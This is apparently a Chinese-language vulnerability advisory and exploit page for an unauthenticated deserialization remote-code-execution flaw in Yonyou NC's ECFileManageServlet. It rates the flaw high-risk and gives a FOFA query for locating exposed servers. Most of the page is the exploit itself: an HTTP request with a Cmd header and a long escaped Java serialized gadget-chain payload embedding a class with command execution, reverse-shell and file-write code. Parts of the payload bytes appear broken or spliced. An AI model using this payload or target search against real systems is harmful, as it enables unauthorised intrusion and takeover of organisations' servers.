

用友NC ECFileManageServlet反序列化RCE

漏洞描述

用友NC /servlet/ECFileManageServlet处存在反序列化RCE，未经授权攻击者可进行任意命令执行。

影响版本

用友-UFIDA-NC

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="用友-UFIDA-NC"

POC/EXP：

```
POST /servlet/ECFileManagerServlet HTTP/1.1
Host: 127.0.0.1
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
```

```
{\unquote("\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xpw\x0c\x00\x00\x00\x02?
@\x00\x00\x00\x00\x00\x01sr\x004org.apache.commons.collections.keyvalue.TiedMapEn
try\x8a\xad\xd2\x9b9\xc1\x1f\xdb\x02\x00\x02L\x00\x03keyt\x00\x12Ljava/lang/Objec
t;L\x00\x03mapt\x00\x0fLjava/util/Map;xpt\x00\x03foosr\x00*org.apache.commons.col
lections.map.LazyMapn\xe5\x94\x82\x9ey\x10\x94\x03\x00\x01L\x00\x07factoryt\x00,L
org/apache/commons/collections/Transformer;xpsr\x00:org.apache.commons.collection
s.functors.ChainedTransformer0\xc7\x97\xec\x28z\x97\x04\x02\x00\x01[\x00\x0diTran
sformerst\x00-[Lorg/apache/commons/collections/Transformer;xpur\x00-
[Lorg.apache.commons.collections.Transformer;\xbdV*\xf1\xd84\x18\x99\x02\x00\x00x
p\x00\x00\x00\x07sr\x00;org.apache.commons.collections.functors.ConstantTransform
erxv\x90\x11A\x02\xb1\x94\x02\x00\x01L\x00\x09iConstantq\x00~\x00\x03xpvr\x00*org
.mozilla.javascript.DefiningClassLoader\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00xpsr\x00:org.apache.commons.collections.functors.InvokerTransformer\x87\xe8\xff
k\x7b|\xce8\x02\x00\x03[\x00\x05iArgst\x00\x13[Ljava/lang/Object;L\x00\x0biMethod
Namet\x00\x12Ljava/lang/String;
[\x00\x0biParamTypest\x00\x12[Ljava/lang/Class;xpur\x00\x13[Ljava.lang.Object;\x9
0\xceX\x9f\x10s\x29l\x02\x00\x00xp\x00\x00\x00\x01ur\x00\x12[Ljava.lang.Class;\xa
b\x16\xd7\xae\xcb\xcdZ\x99\x02\x00\x00xp\x00\x00\x00\x00t\x00\x16getDeclaredConst
ructoruq\x00~\x00\x1a\x00\x00\x00\x01vq\x00~\x00\x1asq\x00~\x00\x13uq\x00~\x00\x1
8\x00\x00\x00\x01uq\x00~\x00\x18\x00\x00\x00\x00t\x00\x0bnewInstanceuq\x00~\x00\x
1a\x00\x00\x00\x01vq\x00~\x00\x18sq\x00~\x00\x13uq\x00~\x00\x18\x00\x00\x00\x02t\
\x00\x02A4ur\x00\x02[B\xac\xfb\x17\xfb\x06\x08T\xe0\x02\x00\x00xp\x00\x00\x1b\xbb\
xca\xfe\xba\xbe\x00\x00\x001\x01\x9a\x0a\x00\x1e\x00\xad\x0a\x00C\x00\xae\x0a\x00
C\x00\xaf\x0a\x00\x1e\x00\xb0\x08\x00\xb1\x0a\x00\x1c\x00\xb2\x0a\x00\xb3\x00\xb4
\x0a\x00\xb3\x00\xb5\x07\x00\xb6\x0a\x00C\x00\xb7\x08\x00\xa5\x0a\x00!\x00\xb8\x0
8\x00\xb9\x08\x00\xba\x07\x00\xbb\x08\x00\xbc\x08\x00\xbd\x07\x00\xbe\x0a\x00\x1c
\x00\xbf\x08\x00\xcd\x08\x00\xce\x07\x00\xcf\x08\x00\x0d\x0a\x00\x8f\x0
0\x0d1\x0a\x00!\x00\x02\x08\x00\x03\x09\x00\x04\x00\x05\x0a\x00\x04\x00\x06\x08\x0
0\x07\x0a\x00\x8f\x00\x08\x0a\x00\x1c\x00\x09\x08\x00\x0a\x07\x00\x0b\x0a\x00\x1c
\x00\x0c\x08\x00\x0d\x07\x00\x0e\x08\x00\x0f\x08\x00\x0e\x0a\x00\x1c\x00\x0e1\x07\
\x00\x0e2\x0a\x00C\x00\x0e3\x0a\x00\x0e4\x00\x08\x08\x00\x0e5\x0a\x00!\x00\x0e6\x08\x00
\x0e7\x0a\x00!\x00\x0e8\x08\x00\x0e9\x0a\x00!\x00\x0ea\x0a\x00\x8f\x00\x0eb\x08\x00\x0e
c\x0a\x00!\x00\x0ed\x08\x00\x0ee\x09\x00\x8f\x00\x0ef\x0a\x00\x0d4\x00\x0f0\x09\x00\x8
f\x00\x0f1\x07\x00\x0f2\x0a\x00C\x00\x0f3\x0a\x00C\x00\x0f4\x08\x00\xa6\x08\x00\x0f5\x
08\x00\x0f6\x0a\x00\x8f\x00\x0f7\x08\x00\x0f8\x0a\x00\x8f\x00\x0f9\x07\x00\x0fa\x0a\x0
0L\x00\x0fb\x07\x00\x0fc\x0a\x00N\x00\x0fd\x0a\x00\x8f\x00\x0fe\x0a\x00N\x00\x0ff\x0a\
\x00N\x01\x00\x0a\x00N\x01\x01\x0a\x00/\x01\x02\x0a\x00L\x01\x03\x0a\x00!\x01\x04\
\x08\x01\x05\x0a\x01\x06\x01\x07\x0a\x00!\x01\x08\x08\x01\x09\x08\x01\x0a\x08\x01\
\x0b\x07\x01\x0c\x0a\x00]\x00\xad\x0a\x00]\x01\x0d\x08\x01\x0e\x0a\x00]\x01\x02\x0
8\x01\x0f\x08\x01\x10\x08\x01\x11\x08\x01\x12\x0a\x01\x13\x01\x14\x0a\x01\x13\x01
\x15\x07\x01\x16\x0a\x01\x17\x01\x18\x0a\x00h\x01\x19\x08\x01\x1a\x0a\x00h\x01\x1
b\x0a\x00h\x00\x0c5\x0a\x00h\x01\x1c\x0a\x01\x17\x01\x1d\x0a\x01\x17\x01\x1e\x08\x
01\x1f\x08\x01
\x0a\x01\x13\x01!\x07\x01"\x0a\x00t\x01#\x0a\x00t\x01\x18\x0a\x01\x17\x01$\x0a\x
00t\x01$\x0a\x00t\x01%\x0a\x01&\x01'\x0a\x01&\x01\x28\x0a\x01\x29\x01*\x0a\x01\x2
9\x01\x00\x05\x00\x00\x00\x00\x00\x002\x0a\x00C\x01+\x0a\x01\x17\x01,\x0a\x00
t\x01\x01\x08\x01-
\x0a\x00/\x01.\x08\x01/\x08\x010\x0a\x00\x0d4\x011\x0a\x00\x8f\x012\x08\x013\x08\x
014\x08\x015\x08\x016\x08\x00\xa9\x08\x017\x07\x018\x01\x00\x0cBASE64_CHARS\x01\x
00\x12Ljava/lang/String;\x01\x00\x0dConstantValue\x08\x019\x01\x00\x02ip\x01\x00\
\x04port\x01\x00\x13Ljava/lang/Integer;\x01\x00\x06<init>\x01\x00\x03\x28\x29v\x01
\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x0aExceptions\x01\x00\x09loadClas
s\x01\x00%\x28Ljava/lang/String;\x29Ljava/lang/Class;\x01\x00\x09signature\x01\x0
```

0\x28\x28Ljava/lang/String;\x29Ljava/lang/Class<*>;\x01\x00\x05proxy\x01\x00&\x28
Ljava/lang/String;\x29Ljava/lang/String;\x01\x00\x05write\x01\x008\x28Ljava/lang/
String;Ljava/lang/String;\x29Ljava/lang/String;\x01\x00\x0aclearParam\x01\x00\x04
exec\x01\x00\x07reverse\x01\x00'\x28Ljava/lang/String;I\x29Ljava/lang/String;\x01
\x00\x03run\x01\x00\x06decode\x01\x00\x16\x28Ljava/lang/String;\x29[B\x01\x00\x0a
SourceFile\x01\x00\x07A4.java\x0c\x00\x97\x00\x98\x0c\x01:\x01;\x0c\x01<\x01=\x0c
\x01>\x01?
\x01\x00\x07threads\x0c\x01@\x01A\x07\x01B\x0c\x01C\x01D\x0c\x01E\x01F\x01\x00\x1
3[Ljava/lang/Thread;\x0c\x01G\x01H\x0c\x01I\x01J\x01\x00\x04http\x01\x00\x06targe
t\x01\x00\x12java/lang/Runnable\x01\x00\x06this\$0\x01\x00\x07handler\x01\x00\x1ej
ava/lang/NoSuchFieldException\x0c\x01K\x01?
\x01\x00\x06global\x01\x00\x0aprocessors\x01\x00\x0ejava/util/List\x0c\x01L\x01M\
\x07\x01N\x0c\x01O\x01P\x0c\x01Q\x01R\x01\x00\x03req\x01\x00\x0bgetResponse\x01\x0
0\x0fjava/lang/Class\x0c\x01S\x01T\x01\x00\x10java/lang/Object\x07\x01U\x0c\x01V\
\x01W\x01\x00\x09getHeader\x01\x00\x10java/lang/String\x01\x00\x03cmd\x0c\x00\xa0\
\x00\xa1\x0c\x01X\x01Y\x01\x00\x09setStatus\x07\x01Z\x0c\x01[\x01\\\x0c\x01]\x01^\
\x01\x00\$org.apache.tomcat.util.buf.ByteChunk\x0c\x00\x9c\x00\x9d\x0c\x01_\x01R\x0
1\x00\x08setBytes\x01\x00\x02[B\x0c\x01`\x01T\x01\x00\x07dowrite\x01\x00\x13java/
lang/Exception\x01\x00\x13java.nio.ByteBuffer\x01\x00\x04wrap\x0c\x01a\x00\x9d\x0
1\x00
java/lang/ClassNotFoundException\x0c\x01b\x01c\x07\x01d\x01\x00\x00\x0c\x01e\x01f
\x01\x00\x10command not
null\x0c\x01g\x01H\x01\x00\x05#####\x0c\x01h\x01i\x0c\x00\xa4\x00\xa1\x01\x00\x01
:\x0c\x01j\x01k\x01\x00"command reverse host format
error!\x0c\x00\x94\x00\x91\x0c\x01l\x01m\x0c\x00\x95\x00\x96\x01\x00\x10java/lang
/Thread\x0c\x00\x97\x01n\x0c\x01o\x00\x98\x01\x00\x05\$\$\$\$\x01\x00\x12file format
error!\x0c\x00\xa2\x00\xa3\x01\x00\x05@@@@\x0c\x00\xa5\x00\xa1\x01\x00\x0cjava/i
o/File\x0c\x00\x97\x01p\x01\x00\x18java/io/FileOutputStream\x0c\x00\x97\x01q\x0c\
\x00\xa9\x00\xaa\x0c\x00\xa2\x01r\x0c\x01s\x00\x98\x0c\x01t\x00\x98\x0c\x01u\x01H\
\x0c\x01v\x01H\x0c\x01w\x01x\x01\x00\x07os.name\x07\x01y\x0c\x01z\x00\xa1\x0c\x01\
\x7b\x01H\x01\x00\x03win\x01\x00\x04ping\x01\x00\x02-
n\x01\x00\x17java/lang/StringBuilder\x0c\x01|\x01\x7d\x01\x00\x05 -n
4\x01\x00\x02/c\x01\x00\x05 -t 4\x01\x00\x02sh\x01\x00\x02-
c\x07\x01~\x0c\x01\x7f\x01\x80\x0c\x00\xa5\x01\x81\x01\x00\x11java/util/Scanner\x
07\x01\x82\x0c\x01\x83\x01\x84\x0c\x00\x97\x01\x85\x01\x00\x02\|a\x0c\x01\x86\x01
\x87\x0c\x01Q\x01H\x0c\x01\x88\x01\x84\x0c\x01\x89\x00\x98\x01\x00\x07/bin/sh\x01
\x00\x07cmd.exe\x0c\x00\xa5\x01\x8a\x01\x00\x0fjava/net/Socket\x0c\x00\x97\x01\x8
b\x0c\x01\x8c\x01\x8d\x0c\x01\x8e\x01P\x07\x01\x8f\x0c\x01\x90\x01\x91\x0c\x01\x9
2\x01\x91\x07\x01\x93\x0c\x00\xa2\x01\x94\x0c\x01\x95\x01\x96\x0c\x01\x97\x01\x91
\x01\x00\x1dreverse execute error, msg -
>\x0c\x01\x98\x01H\x01\x00\x01!\x01\x00\x13reverse execute
ok!\x0c\x01\x99\x01\x91\x0c\x00\xa6\x00\xa7\x01\x00\x16sun.misc.BASE64Decoder\x01
\x00\x0cdecodeBuffer\x01\x00\x10java.util.Base64\x01\x00\x0agetDecoder\x01\x00&or
g.apache.commons.codec.binary.Base64\x01\x00\x02A4\x01\x00@ABCDEFGHJKLMNPQRSTUVWXYZ
0123456789+/\x01\x00\x0dcurrentThread\x01\x00\x14\x
28\x29Ljava/lang/Thread;\x01\x00\x0egetThreadGroup\x01\x00\x19\x28\x29Ljava/lang/
ThreadGroup;\x01\x00\x08getClass\x01\x00\x13\x28\x29Ljava/lang/Class;\x01\x00\x10
getDeclaredField\x01\x00-
\x28Ljava/lang/String;\x29Ljava/lang/reflect/Field;\x01\x00\x17java/lang/reflect/
Field\x01\x00\x0dsetAccessible\x01\x00\x04\x28Z\x29V\x01\x00\x03get\x01\x00&\x28L
java/lang/Object;\x29Ljava/lang/Object;\x01\x00\x07getName\x01\x00\x14\x28\x29Lja
va/lang/String;\x01\x00\x08contains\x01\x00\x1b\x28Ljava/lang/CharSequence;\x29Z\
\x01\x00\x0dgetSuperclass\x01\x00\x08iterator\x01\x00\x16\x28\x29Ljava/util/Iterat
or;\x01\x00\x12java/util/Iterator\x01\x00\x07hasNext\x01\x00\x03\x28\x29Z\x01\x00
\x04next\x01\x00\x14\x28\x29Ljava/lang/Object;\x01\x00\x09getMethod\x01\x00@\x28L
java/lang/String;

[Ljava/lang/Class;\x29Ljava/lang/reflect/Method;\x01\x00\x18java/lang/reflect/Met
hod\x01\x00\x06invoke\x01\x009\x28Ljava/lang/Object;
[Ljava/lang/Object;\x29Ljava/lang/Object;\x01\x00\x08getBytes\x01\x00\x04\x28\x29
[B\x01\x00\x11java/lang/Integer\x01\x00\x04TYPE\x01\x00\x11java/lang/Class;\x01\x
00\x07valueOf\x01\x00\x16\x28I\x29Ljava/lang/Integer;\x01\x00\x0bnewInstance\x01
\x00\x11getDeclaredMethod\x01\x00\x07forName\x01\x00\x15getContextClassLoader\x01
\x00\x19\x28\x29Ljava/lang/ClassLoader;\x01\x00\x15java/lang/ClassLoader\x01\x00\
x06equals\x01\x00\x15\x28Ljava/lang/Object;\x29Z\x01\x00\x04trim\x01\x00\x0astart
swith\x01\x00\x15\x28Ljava/lang/String;\x29Z\x01\x00\x05split\x01\x00'\x28Ljava/l
ang/String;\x29[Ljava/lang/String;\x01\x00\x08parseInt\x01\x00\x15\x28Ljava/lang/
String;\x29I\x01\x00\x17\x28Ljava/lang/Runnable;\x29V\x01\x00\x05start\x01\x00\x1
5\x28Ljava/lang/String;\x29V\x01\x00\x11\x28Ljava/io/File;\x29V\x01\x00\x05\x28[B
\x29V\x01\x00\x05flush\x01\x00\x05close\x01\x00\x08toString\x01\x00\x0fgetAbsolut
ePath\x01\x00\x07replace\x01\x00D\x28Ljava/lang/CharSequence;Ljava/lang/CharSeque
nce;\x29Ljava/lang/String;\x01\x00\x10java/lang/System\x01\x00\x0bgetProperty\x01
\x00\x0btoLowerCase\x01\x00\x06append\x01\x00-
\x28Ljava/lang/String;\x29Ljava/lang/StringBuilder;\x01\x00\x11java/lang/Runtime\
x01\x00\x0agetRuntime\x01\x00\x15\x28\x29Ljava/lang/Runtime;\x01\x00\x28\x28[Ljav
a/lang/String;\x29Ljava/lang/Process;\x01\x00\x11java/lang/Process\x01\x00\x0eget
InputStream\x01\x00\x17\x28\x29Ljava/io/InputStream;\x01\x00\x18\x28Ljava/io/Inpu
tStream;\x29V\x01\x00\x0cuseDelimiter\x01\x00'\x28Ljava/lang/String;\x29Ljava/uti
l/Scanner;\x01\x00\x0egetErrorStream\x01\x00\x07destroy\x01\x00'\x28Ljava/lang/St
ring;\x29Ljava/lang/Process;\x01\x00\x16\x28Ljava/lang/String;I\x29V\x01\x00\x0fg
etOutputStream\x01\x00\x18\x28\x29Ljava/io/OutputStream;\x01\x00\x08isClosed\x01\
x00\x13java/io/InputStream\x01\x00\x09available\x01\x00\x03\x28\x29I\x01\x00\x04r
ead\x01\x00\x14java/io/OutputStream\x01\x00\x04\x28I\x29V\x01\x00\x05sleep\x01\x0
0\x04\x28J\x29V\x01\x00\x09exitValue\x01\x00\x0agetMessage\x01\x00\x08intValue\x0
0!\x00\x8f\x00\x1e\x00\x01\x00\x0f\x00\x03\x00\x1a\x00\x90\x00\x91\x00\x01\x00\x9
2\x00\x00\x00\x02\x00\x93\x00\x02\x00\x94\x00\x91\x00\x00\x00\x02\x00\x95\x00\x96
\x00\x00\x00\x09\x00\x01\x00\x97\x00\x98\x00\x02\x00\x99\x00\x00\x03\x00\x06\
x00\x13\x00\x00\x02\x8e*\xb7\x00\x01\xb8\x00\x02\xb6\x00\x03L+\xb6\x00\x04\x12\x0
5\xb6\x00\x06M,\x04\xb6\x00\x07,+ \xb6\x00\x08\xc0\x00\x09\xc0\x00\x09N-:\x04\x19\
x04\xbe6\x05\x036\x06\x15\x06\x15\x05\xa2\x02x\x19\x04\x15\x062:\x07\x19\x07\xc7\
x00\x06\xa7\x02C\x19\x07\xb6\x00\x0a:\x08\x19\x08\x12\x0b\xb6\x00\x0c\x9a\x00\x0d
\x19\x08\x12\x0d\xb6\x00\x0c\x9a\x00\x06\xa7\x02%\x19\x07\xb6\x00\x04\x12\x0e\xb6
\x00\x06M,\x04\xb6\x00\x07,\x19\x07\xb6\x00\x08:\x09\x19\x09\xc1\x00\x0f\x9a\x00\
x06\xa7\x02\x02\x19\x09\xb6\x00\x04\x12\x10\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x0
9\xb6\x00\x08:\x09\x19\x09\xb6\x00\x04\x12\x11\xb6\x00\x06M\xa7\x00\x16:\x0a\x19\
x09\xb6\x00\x04\xb6\x00\x13\xb6\x00\x13\x12\x11\xb6\x00\x06M,\x04\xb6\x00\x07,\x1
9\x09\xb6\x00\x08:\x09\x19\x09\xb6\x00\x04\xb6\x00\x13\x12\x14\xb6\x00\x06M\xa7\x
00\x10:\x0a\x19\x09\xb6\x00\x04\x12\x14\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x09\xb
6\x00\x08:\x09\x19\x09\xb6\x00\x04\x12\x15\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x09
\xb6\x00\x08\xc0\x00\x16\xc0\x00\x16:\x0a\x19\x0a\xb9\x00\x17\x01\x00:\x0b\x19\x0
b\xb9\x00\x18\x01\x00\x99\x01[\x19\x0b\xb9\x00\x19\x01\x00:\x0c\x19\x0c\xb6\x00\x
04\x12\x1a\xb6\x00\x06M,\x04\xb6\x00\x07,\x19\x0c\xb6\x00\x08:\x0d\x19\x0d\xb6\x0
0\x04\x12\x1b\x03\xbd\x00\x1c\xb6\x00\x1d\x19\x0d\x03\xbd\x00\x1e\xb6\x00\x1f:\x0
e\x19\x0d\xb6\x00\x04\x12
\x04\xbd\x00\x1cY\x03\x12!s\xb6\x00\x1d\x19\x0d\x04\xbd\x00\x1eY\x03\x12"s\xb6\x
00\x1f\xc0\x00!:\x0f\x19\x0f\xc7\x00\x06\xa7\xff\x91*\x19\x0f\xb6\x00#\xb6\x00\$:\
x10\x19\x0e\xb6\x00\x04\x12%\x04\xbd\x00\x1cY\x03\xb2\x00&s\xb6\x00\x1d\x19\x0e\x
04\xbd\x00\x1eY\x03\x11\x00\xc8\xb8\x00's\xb6\x00\x1fw*\x12\x28\xb6\x00\x29:\x11\
x19\x11\xb6\x00*:\x09\x19\x11\x12+\x06\xbd\x00\x1cY\x03\x12,sY\x04\xb2\x00&SY\x05
\xb2\x00&s\xb6\x00-
\x19\x09\x06\xbd\x00\x1eY\x03\x19\x10sY\x04\x03\xb8\x00'sY\x05\x19\x10\xbe\xb8\x0
0's\xb6\x00\x1fw\x19\x0e\xb6\x00\x04\x12.\x04\xbd\x00\x1cY\x03\x19\x11s\xb6\x00\x
1d\x19\x0e\x04\xbd\x00\x1eY\x03\x19\x09s\xb6\x00\x1fw\xa7\x000:\x11*\x120\xb6\x00

\x29:\x12\x19\x12\x121\x04\xbd\x00\x1cY\x03\x12,S\xb6\x00-
\x19\x12\x04\xbd\x00\x1eY\x03\x19\x10S\xb6\x00\x1f:\x09\x19\x0e\x0e\x00\x04\x12.\x04\xbd\x00\x1cY\x03\x19\x12S\x00\x1d\x19\x0e\x04\xbd\x00\x1eY\x03\x19\x09S\x00\x1fw\xa7\x00\x0e\xa7\x00\x05:\x08\x84\x06\x01\xa7\xfd\xa7\xb1\x00\x07\x00\x00\x00\xab\x00\xae\x00\x12\x00\xce\x00\xdc\x00\xdf\x00\x12\x01\x04\x020\x023\x00/\x00?
\x00D\x02\x85\x00/\x00G\x00b\x02\x85\x00/\x00e\x00\x85\x02\x85\x00/\x00\x88\x02\x7f\x02\x85\x00/\x00\x01\x00\x9a\x00\x00\x00\xde\x007\x00\x00\x00\x17\x00\x04\x00\x18\x00\x0b\x00\x19\x00\x15\x00\x1a\x00\x1a\x00\x1b\x00&\x00\x1d\x00?
\x00\x1f\x00G\x00
\x00N\x00!\x00e\x00"'\x00p\x00#\x00u\x00\$\x00\x7d\x00%\x00\x88\x00&\x00\x93\x00'\x00\x98\x00\x28\x00\xa0\x00*\x00\xab\x00-
\x00\xae\x00+\x00\x0b\x00,\x00\x0c\x1\x00.\x00\x0c6\x00/\x00\xce\x001\x00\xdc\x004\x00\xdf\x002\x00\xe1\x003\x00\xec\x005\x00\xf1\x006\x00\xf9\x007\x01\x04\x008\x01\x09\x009\x01\x17\x00:\x013\x00;\x01>\x00<\x01c\x00=\x01k\x00>\x01d\x00?
\x01\x8a\x00@\x01\x8f\x00A\x01\x92\x00C\x01\x9d\x00D\x01\x0c4\x00F\x01\x0cc\x00G\x01\x0d3\x00H\x02\x0e\x00I\x020\x00N\x023\x00J\x025\x00K\x02=\x00L\x02]\x00M\x02\x7f\x00o\x02\x82\x00s\x02\x85\x00Q\x02\x87\x00\x1d\x02\x8d\x00u\x00\x9b\x00\x00\x00\x04\x00\x01\x00/\x00\x01\x00\x9c\x00\x9d\x00\x03\x00\x99\x00\x00\x009\x00\x02\x00\x03\x00\x00\x00\x11+\x0b8\x002\x0b0M\x0b8\x00\x02\x0b6\x004+\x0b6\x005\x0b0\x00\x01\x00\x00\x00\x04\x00\x05\x003\x00\x01\x00\x9a\x00\x00\x00\x0e\x00\x03\x00\x00\x00_\x00\x05\x00`\x00\x06\x00a\x00\x9b\x00\x00\x00\x04\x00\x01\x003\x00\x9e\x00\x00\x00\x02\x00\x9f\x00\x01\x00\xa0\x00\xa1\x00\x01\x00\x99\x00\x00\x00\xff\x00\x04\x00\x04\x00\x00\x00\x9b+\x0c6\x00\x0c\x126+\x0b6\x007\x99\x00\x06\x128\x0b0+\x0b6\x009L+\x12:\x0b6\x00;\x99\x00;*\x0b7\x00<\x12=\x0b6\x00>M,\x0be\x05\x9f\x00\x06\x12?
\x0b*,\x032\x0b5\x00@*,\x042\x0b8\x00A\x0b8\x00'\x0b5\x00B\x0bb\x00cY*\x0b7\x00DN-\x0b6\x00E\x12F\x0b0+\x12G\x0b6\x00;\x99\x00"'+\x0b7\x00<\x12=\x0b6\x00>M,\x0be\x05\x9f\x00\x06\x12H\x0b0*,\x032,\x042\x0b6\x00I\x0b0+\x12J\x0b6\x00;\x99\x00\x0d**+\x0b7\x00<\x0b6\x00K\x0b0**+\x0b7\x00<\x0b6\x00K\x0b0\x00\x00\x00\x01\x00\x9a\x00\x00\x00R\x00\x14\x00\x00\x00k\x00\x0d\x001\x00\x10\x00n\x00\x15\x00o\x00\x1e\x00q\x00\x29\x00r\x00/\x00s\x002\x00u\x009\x00v\x00F\x00w\x00o\x00x\x00S\x00y\x00v\x00z\x00_\x00\x7b\x00j\x00|\x00p\x00\x7d\x00s\x00\x7f\x00~\x00\x80\x00\x87\x00\x81\x00\x91\x00\x83\x00\x01\x00\xa2\x00\xa3\x00\x01\x00\x99\x00\x00\x00v\x00\x03\x00\x05\x00\x00\x006\x0bb\x00LY+\x0b7\x00MN\x0bb\x00NY-
\x0b7\x00o:\x04\x19\x04,\x0b8\x00P\x0b6\x00Q\x19\x04\x0b6\x00R\x19\x04\x0b6\x00S\xa7\x00\x0b:\x04\x19\x04\x0b6\x00T\x0b0-
\x0b6\x00u\x0b0\x00\x01\x00\x09\x00&\x00\x29\x00/\x00\x01\x00\x9a\x00\x00\x00&\x00\x09\x00\x00\x00\x8e\x00\x09\x00\x90\x00\x13\x00\x91\x00\x1c\x00\x92\x00!\x00\x93\x00&\x00\x96\x00\x29\x00\x94\x00+\x00\x95\x001\x00\x97\x00\x02\x00\xa4\x00\xa1\x00\x01\x00\x99\x00\x00\x00/\x00\x03\x00\x02\x00\x00\x00\x17+\x12:\x126\x0b6\x00v\x12J\x126\x0b6\x00v\x12G\x126\x0b6\x00v\x0b0\x00\x00\x00\x01\x00\x9a\x00\x00\x00\x06\x00\x01\x00\x00\x00\xa0\x00\x01\x00\xa5\x00\xa1\x00\x01\x00\x99\x00\x00\x01\x03\x00\x04\x00\x09\x00\x00\x01'\x12w\x0b8\x00X\x0b6\x00YM+\x0b6\x009L\x01N,\x12Z\x0b6\x00\x0c\x99\x00@+\x12[\x0b6\x00\x0c\x99\x00
+\x12\\\x0b6\x00\x0c\x9a\x00\x17\x0bb\x00]Y\x0b7\x00^+\x0b6\x00_\x12`\x0b6\x00_\x0b6\x00aL\x06\xbd\x00!Y\x03\x12"SY\x04\x12bSY\x05+S:\x04\xa7\x00=+\x12[\x0b6\x00\x0c\x99\x00
+\x12\\\x0b6\x00\x0c\x9a\x00\x17\x0bb\x00]Y\x0b7\x00^+\x0b6\x00_\x12c\x0b6\x00_\x0b6\x00aL\x06\xbd\x00!Y\x03\x12dSY\x04\x12eSY\x05+S:\x04\x0b8\x00f\x19\x04\x0b6\x00gn\x0bb\x00hy-
\x0b6\x00i\x0b7\x00j\x12k\x0b6\x00l:\x05\x19\x05\x0b6\x00m\x99\x00\x0b\x19\x05\x0b6\x00n\xa7\x00\x05\x126:\x06\x0bb\x00hy-
\x0b6\x00o\x0b7\x00j\x12k\x0b6\x00l:\x05\x0bb\x00]Y\x0b7\x00^+\x19\x06\x0b6\x00_\x19\x05\x0b6\x00m\x99\x00\x0b\x19\x05\x0b6\x00n\xa7\x00\x05\x126\x0b6\x00_\x0b6\x00a:\x06\x19\x06:\x07-\x0c6\x00\x07-\x0b6\x00p\x19\x07\x0b0:\x05\x19\x05\x0b6\x00t:\x06-\x0c6\x00\x07-\x0b6\x00p\x19\x06\x0b0:\x08-\x0c6\x00\x07-

\xb6\x00p\x19\x08\xbf\x00\x04\x00\x90\x00\xfb\x01\x06\x00/\x00\x90\x00\xfb\x01\x1a\x00\x00\x01\x06\x01\x0f\x01\x1a\x00\x00\x01\x1a\x01\x1c\x01\x1a\x00\x00\x00\x01\x00\x9a\x00\x00\x00j\x00\x1a\x00\x00\x00\xa9\x00\x09\x00\xaa\x00\x0e\x00\xab\x00\x10\x00\xad\x00\x19\x00\xae\x00+\x00\xaf\x00?

\x00\xb1\x00v\x00\xb3\x00h\x00\xb4\x00|\x00\xb6\x00\x90\x00\xb9\x00\x99\x00\xba\x00\xab\x00\xbb\x00\xbf\x00\xbc\x00\xbd\x00\xfb\x00\xbe\x00\xfb\x00\xc2\x00\xff\x00\xc3\x01\x03\x00\xbe\x01\x06\x00\xbf\x01\x08\x00\xc0\x01\x0f\x00\xc2\x01\x13\x00\xc3\x01\x17\x00\xc0\x01\x1a\x00\xc2\x01

\x00\xc3\x00\x01\x00\xa6\x00\xa7\x00\x01\x00\x99\x00\x00\x01r\x00\x04\x00\x0c\x00\x00\x00\xe2\x12w\xb8\x00x\xb6\x00Y\x12Z\xb6\x00\x0c\x9a\x00\x09\x12qN\xa7\x00\x06\x12rN\xb8\x00f-

\xb6\x00s:\x04\xbb\x00tY+\x1c\xb7\x00u:\x05\x19\x04\xb6\x00i:\x06\x19\x04\xb6\x00o:\x07\x19\x05\xb6\x00v:\x08\x19\x04\xb6\x00w:\x09\x19\x05\xb6\x00x:\x0a\x19\x05\xb6\x00y\x9a\x00`\x19\x06\xb6\x00z\x9e\x00\x10\x19\x0a\x19\x06\xb6\x00\x7b\xb6\x00|\xa7\xff\xee\x19\x07\xb6\x00z\x9e\x00\x10\x19\x0a\x19\x07\xb6\x00\x7b\xb6\x00|\xa7\xff\xee\x19\x08\xb6\x00z\x9e\x00\x10\x19\x09\x19\x08\xb6\x00\x7b\xb6\x00|\xa7\xff\xee\x19\x0a\xb6\x00\x7d\x19\x09\xb6\x00\x7d\x14\x00~\xb8\x00\x80\x19\x04\xb6\x00\x81w\xa7\x00\x08:\x0b\xa7\xff\x9e\x19\x04\xb6\x00p\x19\x05\xb6\x00\x82\xa7\x00 N\xbb\x00jY\xb7\x00^\x12\x83\xb6\x00_-

\xb6\x00\x84\xb6\x00_\x12\x85\xb6\x00_\xb6\x00a\xb0\x12\x86\xb0\x00\x02\x00\xa7\x00\xad\x00\xb0\x00/\x00\x00\x00\xbf\x00\xc2\x00/\x00\x01\x00\x9a\x00\x00\x00n\x00\x1b\x00\x00\x00\xbd\x00\x10\x00\xbd\x00\x16\x00\xbd\x00\x19\x00\xbd\x00/"\x00\xbd\x00-

\x00\xbd\x00B\x00\xbd\x00P\x00\xda\x00x\x00\xdb\x00`\x00\xdc\x00m\x00\xde\x00u\x00\xdf\x00\x82\x00\xe1\x00\x8a\x00\xe2\x00\x97\x00\xe4\x00\x9c\x00\xe5\x00\xa1\x00\xe6\x00\xa7\x00\xe8\x00\xad\x00\xe9\x00\xb0\x00\xea\x00\xb2\x00\xeb\x00\xb5\x00\xed\x00\xba\x00\xee\x00\xbf\x00\xf1\x00\xc2\x00\xef\x00\xc3\x00\xfd\x00\xdf\x00\xf2\x00\x01\x00\xa8\x00\x98\x00\x01\x00\x99\x00\x00\x00-

